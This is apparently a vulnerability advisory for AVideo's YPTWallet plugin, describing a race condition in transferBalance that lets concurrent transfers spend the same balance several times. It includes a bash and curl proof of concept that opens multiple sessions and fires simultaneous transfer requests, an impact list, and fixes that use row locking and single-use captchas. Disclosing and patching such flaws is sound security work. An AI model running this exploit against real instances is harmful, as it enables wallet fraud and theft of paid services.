AVideo Vulnerable to Wallet Balance Double-Spend via TOCTOU Race Condition in transferBalance

Entry point: plugin/YPTWallet/view/transferFunds.json.php:39 calls YPTWallet::transferBalance(User::getId(), $_POST['users_id'], $_POST['value']) — requires only User::isLogged() and a valid captcha.

PoC

# Prerequisites: Attacker has a registered account with $10 wallet balance
# Accomplice has a registered account (recipient)

TARGET="https://target-avideo-instance"
ACCOMPLICE_ID=123  # recipient user ID

# Step 1: Create 5 independent sessions for the same attacker account
declare -a SESSIONS
declare -a CAPTCHA_ANSWERS

for i in $(seq 1 5); do
  # Login and capture session cookie
  COOKIE=$(curl -s -c - "$TARGET/objects/login.json.php" \
    -d 'user=attacker&pass=attackerpass' | grep PHPSESSID | awk '{print $NF}')
  
  # Load captcha to populate $_SESSION['palavra']
  curl -s -b "PHPSESSID=$COOKIE" "$TARGET/objects/captcha.php" -o "captcha_$i.png"
  
  SESSIONS[$i]=$COOKIE
  echo "Session $i: $COOKIE — solve captcha_$i.png manually"
done

# Step 2: After solving captchas, fire all 5 transfer requests simultaneously
# Each requests $10 transfer — all will read balance=$10 concurrently
for i in $(seq 1 5); do
  curl -s -b "PHPSESSID=${SESSIONS[$i]}" \
    "$TARGET/plugin/YPTWallet/view/transferFunds.json.php" \
    -d "users_id=$ACCOMPLICE_ID&value=10&captcha=${CAPTCHA_ANSWERS[$i]}" &
done
wait

# Expected result:
# - Attacker balance: $0 (last write wins, sets balance to 10-10=0)
# - Accomplice balance: credited $10 x N successful races (up to $50)
# - Net money created from nothing: up to $40

Impact

An authenticated attacker can exploit this race condition to:

• Create wallet balance from nothing: With a $10 balance and N concurrent requests, the recipient can receive up to $10×N while the sender only loses $10.
• Bypass pay-per-view charges: Inflate wallet balance, then purchase paid content without real payment.
• Bypass subscription fees: Use inflated balance to purchase subscriptions.
• Financial integrity compromise: The wallet ledger becomes inconsistent — total balances across all users no longer match total deposits.

The attack requires solving one captcha per session (captchas are reusable within a session), creating multiple login sessions, and timing concurrent requests — achievable with basic scripting.

Recommended Fix

Replace the read-check-write pattern with an atomic database operation using a transaction and row-level locking:

public static function transferBalance($fromUserId, $toUserId, $amount, $customDescription = "", $forceTransfer = false)
{
    global $global;
    
    // ... existing auth and validation checks ...
    
    $amount = floatval($amount);
    if ($amount <= 0) {
        return false;
    }

    // Use a database transaction with row-level locking
    $global['mysqli']->autocommit(false);
    $global['mysqli']->begin_transaction();
    
    try {
        // Lock sender row and read balance atomically
        $sql = "SELECT id, balance FROM wallet WHERE users_id = ? FOR UPDATE";
        $stmt = $global['mysqli']->prepare($sql);
        $stmt->bind_param("i", $fromUserId);
        $stmt->execute();
        $result = $stmt->get_result();
        $senderRow = $result->fetch_assoc();
        $stmt->close();
        
        if (empty($senderRow)) {
            $global['mysqli']->rollback();
            return false;
        }
        
        $senderBalance = floatval($senderRow['balance']);
        $senderNewBalance = $senderBalance - $amount;
        
        if ($senderNewBalance < 0) {
            $global['mysqli']->rollback();
            return false;
        }
        
        // Atomic deduction
        $sql = "UPDATE wallet SET balance = ? WHERE id = ? AND balance >= ?";
        $stmt = $global['mysqli']->prepare($sql);
        $stmt->bind_param("did", $senderNewBalance, $senderRow['id'], $amount);
        $stmt->execute();
        
        if ($stmt->affected_rows === 0) {
            $global['mysqli']->rollback();
            $stmt->close();
            return false;
        }
        $stmt->close();
        
        // Credit receiver (also locked)
        $sql = "SELECT id, balance FROM wallet WHERE users_id = ? FOR UPDATE";
        $stmt = $global['mysqli']->prepare($sql);
        $stmt->bind_param("i", $toUserId);
        $stmt->execute();
        $result = $stmt->get_result();
        $receiverRow = $result->fetch_assoc();
        $stmt->close();
        
        $receiverNewBalance = floatval($receiverRow['balance']) + $amount;
        $sql = "UPDATE wallet SET balance = ? WHERE id = ?";
        $stmt = $global['mysqli']->prepare($sql);
        $stmt->bind_param("di", $receiverNewBalance, $receiverRow['id']);
        $stmt->execute();
        $stmt->close();
        
        $global['mysqli']->commit();
        
        // ... log entries ...
        
    } catch (Exception $e) {
        $global['mysqli']->rollback();
        return false;
    } finally {
        $global['mysqli']->autocommit(true);
    }
}

Additionally, fix the captcha reuse issue in objects/captcha.php:58-73 by unsetting $_SESSION['palavra'] after successful validation:

public static function validation($word)
{
    // ... existing checks ...
    $validation = (strcasecmp($word, $_SESSION["palavra"]) == 0);
    if ($validation) {
        unset($_SESSION["palavra"]); // Consume the captcha token
    }
    return $validation;
}